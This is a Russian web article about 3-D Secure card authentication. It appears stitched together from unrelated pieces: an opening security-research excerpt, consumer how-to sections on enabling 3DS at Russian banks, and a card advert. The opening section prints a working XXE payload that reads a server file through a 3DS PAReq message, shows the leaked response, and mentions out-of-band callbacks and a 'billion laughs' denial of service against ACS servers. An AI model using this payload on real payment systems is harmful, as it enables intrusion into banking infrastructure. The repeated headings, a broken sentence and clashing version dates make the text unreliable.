Что такое 3D Secure на банковской карте

Раскрутим XXE

Рассмотрим следующий пример:

<?xml version=”1.0″ encoding=”UTF-8″?><!DOCTYPE ThreeDSecure [<!ENTITY ac SYSTEM “file:///proc/sys/kernel/hostname”>]><ThreeDSecure><Message id=“123-123-123-123-123-123″><PAReq><version>1.0.2</version><Merchant><acqBIN>510069</acqBIN><merID>&ac;</merID><name>MerchantName</name><country>643</country><url>http://asdas.as</url></Merchant><Purchase><xid>U3Vic2NyaWJlX0B3ZWJyMGNr</xid><date>20181004 21:34:21</date><amount>202000</amount><purchAmount>202000</purchAmount><currency>643</currency><exponent>2</exponent><desc>AcquirerName</desc></Purchase><CH><acctID>DYasdVQAOX6as3dfcxccwzPCR6Q74eS5</acctID><expiry>2209</expiry></CH></PAReq></Message></ThreeDSecure>

acqBIN, merID, xid, date, purchAmount и currency отражаются в PaRes. Однако во всех реализациях ACS, которые мы нашли, удалось использовать только merID. Остальные параметры проверяются на соответствие типам данных.

Еще один интересный параметр (и наиболее полезный для атаки) — это URL. Этот параметр не отражается, но и не проверяется. Поэтому его можно использовать для эксплуатации XXE.

Вернемся к нашему примеру. В одной из реализаций ACS мы обнаружили, что можем читать короткие файлы, а также получать ответ в PaRes error через параметр merID. Таким образом, используя PaReq из примера выше, мы получали следующий ответ:

<ThreeDSecure><Message id=” 123-123-123-123-123-123 “><PARes id=” 123-123-123-123-123-123 “><version>1.0.2</version><Merchant><acqBIN>510069</acqBIN><merID>ACS server name</merID></Merchant><Purchase><xid>U3Vic2NyaWJlX0B3ZWJyMGNr</xid><date>20181004 21:34:21</date><purchAmount>202000</purchAmount><currency>643</currency><exponent>2</exponent></Purchase><pan>000000000000000</pan><TX><time>20181004 21:34:21</time><status>U</status></TX><IReq><iReqCode>55</iReqCode><iReqDetail>PAReq.CH.acctID</iReqDetail></IReq></PARes></Message></ThreeDSecure>

Тем не менее в большинстве случаев оставалось только использовать параметр URL для получения DNS или HTTP-запроса к нашему сервису. Другой вектор — это выполнить DOS через XXE-атаку “billion laughs” (проверялось на тестовом сервере).

Банковские карты без проблем 3DS:

Карта Банк Открытие

Кэшбэк на покупки и топливо
Бесплатная доставка
Без проблем с 3-ds авторизацией

Включение 3-D- secure

Самых частых причин, по которым карта не проходит и появляется статус «карта не прошла 3D-аутентификацию, либо отклонена платежной системой», всего три:

Банальная — на карте недостаточно средств
Тоже распространенная — для вашей карты не активирована услуга «3ds-авторизация»
И третья причина — неправильной пароль для этапа 3ds-authentication Дело в том, что пароль для расчетов онлайн человек обычно активирует сразу при оформлении карты, но используется редко. А вот другие пароли используются или часто, или даже ежедневно — вход в интернет-банк и т.д.

Поэтому в момент оплаты пользователь видит незнакомое (не часто используемое для 3ds-secure) окно для ввода пароля, но по привычке или не имея под рукой нужного пароля — еще раз вводит пароль для интернет-банка. Пароль неверный, не для этого этапа, и происходит отказ в обслуживании пластиковой карты.Решения данной проблемы, исходя из вышеизложенных причин, тоже очевидны:

зайдите в интернет-банкинг, проверьте наличие средств на карте и заодно убедитесь, что опция 3Д-секьюре включена
держите пароль для 3ds-авторизации под рукой перед оплатой, и не путайте его с другими паролями (доступа в личный кабинет банка, и т.д.)

Если же решение не найдено — стоит копнуть глубже: проверить лимиты карты на выполнение суточных операций по сумме, на полный запрет интернет-транзакций или платежей в иностранных магазинах.

3-D Secure 2.0

В октябре 2016 года EMVCo опубликовала спецификацию 3-D Secure 2.0; он разработан так, чтобы быть менее навязчивым, чем первая версия спецификации, позволяя отправлять более контекстные данные эмитенту карты клиента (включая почтовые адреса и историю транзакций) для проверки и оценки риска транзакции. От клиента потребуется пройти проверку подлинности только в том случае, если будет установлено, что его транзакция имеет высокий риск. Кроме того, рабочий процесс для аутентификации разработан таким образом, что он больше не требует перенаправления на отдельную страницу, а также может активировать внеполосную аутентификацию через мобильное приложение учреждения (которое, в свою очередь, также может использоваться с биометрической аутентификацией ). . 3-D Secure 2.0 соответствует требованиям ЕС о строгой аутентификации клиентов .

Версии протокола 3D Secure

v1.0 – 2001 г -…v2.0 – 2014 г – Устарелоv2.1 – 2017 гv2.2 – 2018 г

В настоящее время большинство платежных сервисов используют версию 1.0.2 при проведении онлайн CNP-платежей, запрашивающих OTP-код.Версия 1.0.2 была создана в 2001 году и в ней есть некоторые проблемы.

На данный момент актуальной версией является v2.2, и EMV планирует, что к концу 2020-го года она будет использоваться везде.

Это основная схема, необходимая для понимания всего процесса платежа с использованием механизма 3DS.

На этом рисунке мы видим все три домена, используемые в протоколе, а также последовательность сообщений между всеми участниками платежной операции.

Как подключить или отключить функцию

Подобная технология используется далеко не всеми отечественными финансовыми структурами, что объясняется высокой стоимостью обслуживания. Особенно это актуально для небольших кредитных организаций, которые сравнительно медленно внедряют новые технологии в свою работу.

Выясняя, как подключить данную функцию, целесообразно отметить, что крупные банковские организации предоставляют своим клиентам 3 D Secure повсеместно, зачастую в стандартных дебетовых или кредитных продуктах. Как правило, услуга подключается по умолчанию, что позволяет гарантировать безопасность средств клиентов. Однако, правила ряда банков предполагают необходимость написания потребителем соответствующего заявления.

Если карта поддерживает совершение онлайн-платежей, банковская организация, выпустившая карту, не может отказать держателю в подключении услуги. При этом активация функции, как и её обслуживание, не требует вложения средств, так как полностью бесплатны.

Выпуск карт с активированной технологией, осуществляет большинство российских банков:

Альфа;
ВТБ;
Сбербанк;
Тинькофф;
Бинбанк;
Русский стандарт.

К числу подобных продуктов относится услуга 3ds Банк Москвы. Что это такое — стандартная технология 3-D Secure, которая может быть подключена к большинству банковских продуктов.

Технология 3d secure автоматически активируется при использовании карты

Если продукт не предусматривает подобной технологии, можно написать заявление о её подключении. Для этого потребуется представить банку паспорт держателя, а также данные карты. В ряде случаев, подключение может осуществляться с помощью мобильного банка или онлайн, при помощи личного кабинета.

Нередко возникает потребность узнать, как отключить функцию, что особенно актуально при переезде за границу. Подобная операция осуществляется только в филиале банка, выпустившего карту, однако, банк имеет полное право отказать в данной услуге. В подобном случае целесообразно отключить номер телефона, к которому подключена услуга, с помощью сотового оператора.

После этого технология перестанет работать. Вместо старого номера в ряде банковских организаций можно использовать зарубежный, однако подобная возможность встречается сравнительно редко. Следует уточнить этот вопрос у представителей банка, выпустившего карту, прежде чем осуществлять отключение сим-карты.

Покупатели и держатели кредитных карт

В большинстве современных реализаций 3-D Secure эмитент карты или его провайдер ACS запрашивают у покупателя пароль, который известен только эмитенту карты или провайдеру ACS и покупателю. Поскольку продавец не знает этого пароля и не несет ответственности за его захват, он может быть использован эмитентом карты в качестве доказательства того, что покупатель действительно является держателем карты. Это предназначено для снижения риска двумя способами:

Копирование реквизитов карты путем записи номеров на самой карте или с помощью модифицированных терминалов или банкоматов не приводит к возможности совершения покупок через Интернет из-за дополнительного пароля, который не хранится или не записывается на карте. .
Поскольку продавец не перехватывает пароль, снижается риск инцидентов безопасности в онлайн-магазинах; Хотя в результате инцидента хакеры могут получить другие данные карты, у них нет возможности получить связанный пароль.

3-D Secure не требует строго аутентификации по паролю. Говорят, что его можно использовать вместе со , токенами безопасности и т.п. Эти типы устройств могут обеспечить лучший пользовательский опыт для клиентов, поскольку они освобождают покупателя от необходимости использовать безопасный пароль. Некоторые эмитенты теперь используют такие устройства как часть программы аутентификации чипа или схем аутентификации с динамическим паролем.

Одним из существенных недостатков является то, что держатели карт, вероятно, увидят, что их браузер подключается к незнакомым доменным именам в результате реализаций MPI поставщиков и использования аутсорсинговых реализаций ACS эмитентами карт, что может упростить выполнение фишинговых атак на держателей карт.

Ошибка авторизации

Бывают ситуации, что при проведении платёжной операции в сети картодержатель получает сообщение вида “Ошибка авторизации” (не пройдена идентификация). Отчего это может происходить? Есть две проблемы, являющиеся причинами такой ситуации с окном информирования о сбое:

Неверное ведение кода (одноразового применения). Проверьте его и введите ещё раз – если время действия ещё не вышло.
Истечение срока активности одноразового пароля. Обычно он актуален на протяжении пяти минут. Если по какой-то причине произошла задержка со стороны клиента, и код оказался просрочен, следует запросить его отправление системой ещё раз – это уже будет новое значение.

Как видно, ничего страшного под этой ошибкой не подразумевается, а неприятные последствия довольно просто преодолеть.

Примечание 3. Рекомендуется при появлении уведомления о сбое всю платёжную операцию начать с самого начала. Это нужно, чтобы одноразовый код можно было ввести сразу, как только система его отправит клиенту. При корректном указании комбинации и одобрении платежа со стороны банковской компании онлайн-операция успешно завершится.

Что делать если карта не прошла 3ds аутентификацию, либо отклонена платежной системой?

Ничто не может быть полностью надежным и стабильным. Нередко случаются и серьезные сбой и работе описываемой функции. Почему иногда случается так, что карта не прошла 3ds-аутентификацию либо была отклонена платежной системой, спрашивают многие пользователи банковского пластика. Чтобы решить вопрос отсутствия сообщения с кодом, стоит действовать следующим образом:

Обратиться к опции получения кода повторно, которая находится на странице ввода пароля.
Удостовериться, что телефонный номер указан правильно, а сам телефон активен. Что у симки положительный баланс и память гаджета не переполнена.

Если все указанные действия не помогли решить проблему, то потребуется связаться с оператором банка и попросить о помощи

При появлении надписи «Ошибка авторизации», важно выяснить причину произошедшего. Таковых может быть две: был введен неверных код или пароль использовался после отведенного времени (на ввод дается не больше 5-ти минут)

Для решения проблемы, достаточно проверить правильность ввода формы и использовать шифр повторно, либо заказать повторный пароль. Самым простым и дельным советом является проведения всех процедуры повторно.

Как подключить 3D-Secure в Сбербанке?

Практически все новые карты Сбербанка, выпущенные за последние несколько лет, уже оснащены функцией 3D-Secure. Она не активируется сразу же после выдачи в банке. Нужно подключать 3D-Secure при совершении первой покупки в интернете. Запрос появится автоматически.

Если по какой-либо причине не получилось активировать защиту, то следует воспользоваться одним из следующих вариантов её подключения:

обратиться в любое отделение Сбербанка с соответствующим заявлением;
сделать это самостоятельно через личный кабинет «Сбербанк Онлайн».

В последнем случае для активации 3D-Secure необходимо войти в раздел «Карты», найти пункт «Операции по карте» и в выпадающем окне выбрать опцию «Подключить 3D-Secure».

Что такое 3D-Secure на банковской карте

Многие банки Российской Федерации используют данный тип защиты при расчетах в сети Интернет и подключают услугу автоматически. В некоторых случаях защиту нужно подключать самостоятельно, отправив запрос в банк и активировать автоматическое «SMS-информирование» на выбранный и подтвержденный вами номер.

Рассмотрим детальнее, что такое 3D-Secure на банковской карте и как она работает. Программа была разработана для защиты онлайн-платежей от несанкционированного снятия денежных средств с дебетовой или кредитной карты через Интернет. Банковская карта связана с номером мобильного телефона, на который в случае совершения покупок в Интернете, высылается код подтверждения. Без этого одноразового пароля карта защищена от снятия денег в онлайн-магазине.

Технология 3D-Secure Visa и MasterCard

Благодаря 3D-Secure каждая покупка в онлайн-магазинах в обязательном порядке должна быть подтверждена одноразовым кодом, который высылается на мобильный телефон. Такая система безопасности эффективна для расчетов только на сайтах, поддерживающих данную систему, о чем свидетельствуют соответствующие логотипы. На непроверенных ресурсах, которые не поддерживают сервис, данная программа не работает

Прежде чем совершать покупку, обратите внимание на наличие соответствующих логотипов, которые свидетельствуют о том, что сайт поддерживает безопасный протокол денежных платежей:

у платежных систем Visa 3D-Secure называется Verified by Visa;
в системе MasterCard 3D-Secure названа MasterCard SecureCode.

Данная технология проста, понятна и предельно эффективна. Применение трех-доменной защиты для каждой транзакции предполагает наличие дополнительной аутентификации владельца карты. Отсюда и появилось в названии 3D, обозначающие три домена защиты, которые участвуют в осуществлении платежа:

При подключенной защите карточки, каждая онлайн-покупка на сайтах, поддерживающих безопасный протокол перевода денег, происходит в несколько этапов, не требует особых знаний и не занимает лишнего времени:

выбор товара;
заполнение формы для онлайн-оплаты;
автоматический переход на защищенную страницу с одновременной отправкой банком SMS с одноразовым паролем;

Как подключить 3D-Secure?

Вся суть трех-доменной защиты основана на получении уникального пароля на мобильный номер телефона и дальнейшем введении его для подтверждения оплаты. Поэтому для активации двойной аутентификации при онлайн-платежах необходимо подключить в своем банке услугу «SMS-информирование». Как правило, в банках подключение 3D-Secure возможно двумя способами:

можно посетить офис лично и, написав заявление, активировать услугу;
или подключить защиту самостоятельно, воспользовавшись специализированными банковскими сервисами для самообслуживания.

Активация защиты банковской карточки занимает минимум времени, а ее эффективность доказана и признана ведущими мировыми платежными системами. Всего несколько простых действий и ваши средства на карте надежно защищены самой современной и высокотехнологичной системой безопасности

Также обратите внимание, что номер мобильного телефона, который указан для отправки одноразового пароля, при необходимости можно сменить. Дополнительно стоит отметить, что рассылка сообщений уникальными паролями в роуминге не работает, поэтому во время путешествий за границей этот фактор нужно учесть.

Далее детально рассмотрим особенности, наиболее удобные варианты и этапы, как подключить 3D-Secure для своей банковской карты на примере Сбербанка и ВТБ 24.

Как подключить 3D-Secure в Сбербанке

Не во всех банках предоставляется данная услуга по защите банковской карточки, но в Сбербанке она абсолютно бесплатная и активируется автоматически без каких-либо требований со стороны клиента. Если у вас совсем новая карта, и еще не активирована защита 3D-Secure, Сбербанк как подключить эту услугу, подскажет в любом своем отделении и выполнит активацию сразу же после обращения. Для того, чтобы проверить, работает ли сервис, достаточно совершить любую мелкую покупку в Интернете или пополнить счет на мобильном телефоне.

Службой безопасности рекомендуется к применению технология 3D-Secure, Сбербанк также напоминает, что нельзя пользоваться услугами сайтов, которые не поддерживают безопасный протокол оплаты при помощи дополнительной аутентификации. Доверять таким ресурсам нельзя и лучше воздержаться от покупок при отсутствии безопасной системы платежей.

Как подключить 3D-Secure в ВТБ 24

В ВТБ 24 3D-Secure подключается автоматически и является абсолютно бесплатной услугой, предоставляемой всем клиентам банка, имеющим карты выпущенные с 12 декабря 2016 года и новее. Всем остальным владельцам банковских карточек защитную функцию необходимо подключать самостоятельно. Есть два способа, как подключить 3D-Secure, ВТБ 24 на своем сайте детально разъясняет поэтапно процедуру активации услуги.

В первом варианте предлагается посетить любое отделение банка и, написав заявление, предоставить номер карты и номер мобильного телефона, которые будут совместно использоваться для аутентификации во время онлайн-платежей.

Второй вариант подключения предусматривает использование сервиса банкомата для самообслуживания. Для этого нужно войти в меню банкомата:

выбрать в пункте настроек «3D-Secure»;
отыскать пункт меню «Подключение телефона»;
далее, воспользовавшись интуитивно-понятным интерфейсом, ввести номер телефона и подтвердить действие.

В ответ на вашу заявку о подключении защитной услуги, банк отправит подтверждающее SMS, в котором будет указано, что услуга для карточки активирована и связана с вашим номером мобильного телефона.

Если возникла необходимость сменить номер телефона, привязанный к карточке, можно его сменить при помощи меню банкомата. После отправки заявки о смене номера телефона для 3D-Secure, ВТБ отправит вам SMS с уведомлением об изменениях. Это является дополнительной мерой безопасности, и в случае, если вы не вносили изменения, рекомендуется незамедлительно посетить отделение банка и выяснить вопрос.

Особенности аутентификации

3DS-аутентификация – уникальная система защиты данных банковских карт от совершения финансовых операций без согласия держателя.

номер и срок действия карты, указанный на лицевой стороне;
код с оборотной стороны карты – CVV (CVC).

Если для карты подключена дополнительная защита 3DS-Secure, то пользователю при оплате онлайн следует пройти еще одну процедуру, направленную на противодействие потенциальным мошенникам. Одноразовые пароли поступают в виде смс-сообщения на номер держателя карты. Ввод данных осуществляется на официальной странице одного из банков: ПАО “Сбербанк России”, “ВТБ”, ” Альфа-Банк” и другие.

После прохождения 3DS-аутентификации происходит оплата с учетом последующей переадресации покупателя на сайт продавца. Транзакция не может быть осуществлена без данной операции, ни при каких обстоятельствах.

Что такое 3D secure простыми словами

Для безопасности владельцев пластиковых карт были внедрены следующие степени защиты:

CVV-код. Находится на оборотной стороне карты. Предназначается для подтверждения подлинности карт во время совершения покупки или снятия денег.
Именные карты. Такая карта отличается от неименной тем, что имеет на лицевой стороне имя и фамилию владельца. По ней злоумышленнику сложнее будет оплатить товар в торговых точках, так как продавец может потребовать предъявить паспорт.
Пин-коды. Такой код придумывает сам владелец во время первого использования карты. Защищает от снятия денег с карты злоумышленниками, например, если она была потеряна.
3D-Secure — технология, которая повышает безопасность проведения платежей при покупках через интернет.

3D Secure – это двухфакторная аутентификация для авторизации владельца карты во время совершения платежа. Если простыми словами, то 3D Secure – это код, который приходит владельцу карты на телефон при оплате товара. Этим паролем пользователь подтверждает, что именно он и никто другой совершает платеж.

Технология основана на протоколе расширяемого языка разметки. Применяется для защиты онлайн-платежей с дебетовых и кредитных карт.

Она не защищает денежные ресурсы, лежащие на карте, как пин-код, вводимый при снятии денег с банкомата. Также технологию не следует путать с CVV-кодом на обороте карты.

Почему именно 3D

3D-Secure не означает, что оплата проводится в каком-то трехмерном пространстве. Этот термин произошел от общего сокращенного названия трех систем или доменов (англ. «3 D» – Three Domains, что переводится как «Три домена»), которые участвуют в процедуре обмена деньгами и обеспечивают защиту их перевода от владельца к продавцу. Ими являются:

Домен эквайера – система продавца или банка, куда поступают деньги;
Домен эмитента – система, которая выдала карту пользователю, совершающего платеж;
Система, через которую проходит оплата, или домен совместимости. Он предоставляется системами Mastercard или Visa, поддерживающими технологию 3D-Secure.

Если технология подключена к карте ее держателя, то без ведома последнего провести платеж невозможно.

Как работает протокол

Работа протокола 3D Secure заключается в перенаправлении пользователя на страницу банка-эмитента, то есть банка, выпустившего карту. На этой странице пользователь должен будет ввести одноразовый код в специальное поле. Одноразовый пароль приходит по смс на номер телефона, привязанного к карте владельца.

Протокол будет задействован только в том случае, если услуга активирована.

Что делать, если одноразовый код не пришел

Иногда при использовании идентификации пользователя с помощью одноразовых паролей могут появиться затруднения. К примеру, одноразовый код для подтверждения покупки не приходит на телефон. Как поступать в этом случае:

Воспользоваться опцией «Отправить код еще раз» на странице ввода секретного пароля.
Убедиться, что:

у банка-эмитента имеется номер телефона для отправки СМС;
клиент пребывает в зоне действия сети;
сотовый телефон включен, а счет не заблокировали за неуплату;
в памяти на телефоне имеется свободное место для приема новых сообщений;
при нахождении за пределами сети региона ‒ имеется подключение к роумингу;
в соответствии с выбранным тарифом, предполагается получение СМС.

Если причину самостоятельно установить трудно, лучше обратиться в банк, обслуживающий карту. Если на странице ввода пароля указано, что одноразовый код был заблокирован, стоит запросить его отправку еще раз.

Заключение

В настоящее время 3D Secure относится к самым совершенным технологиям безопасности. Но даже такая защита не является абсолютной.

Результативность работы во многом зависит от самих точек, где применяется то или иное решение. Многие проблемы и вопросы безопасности вообще возлагаются на самого держателя карты. Ведь владельцам магазинов хочется сэкономить. Правила безопасного использования платёжных средств в интернете также предоставляются каждой компанией отдельно и индивидуально.

Такие правила представлены на официальном сайте. Изучив их и соблюдая, клиенты смогут обезопасить себя от мошеннических действий. И каждая покупка будет действительно защищённой от посторонних лиц.

Что такое 3D Secure на банковской карте

Раскрутим XXE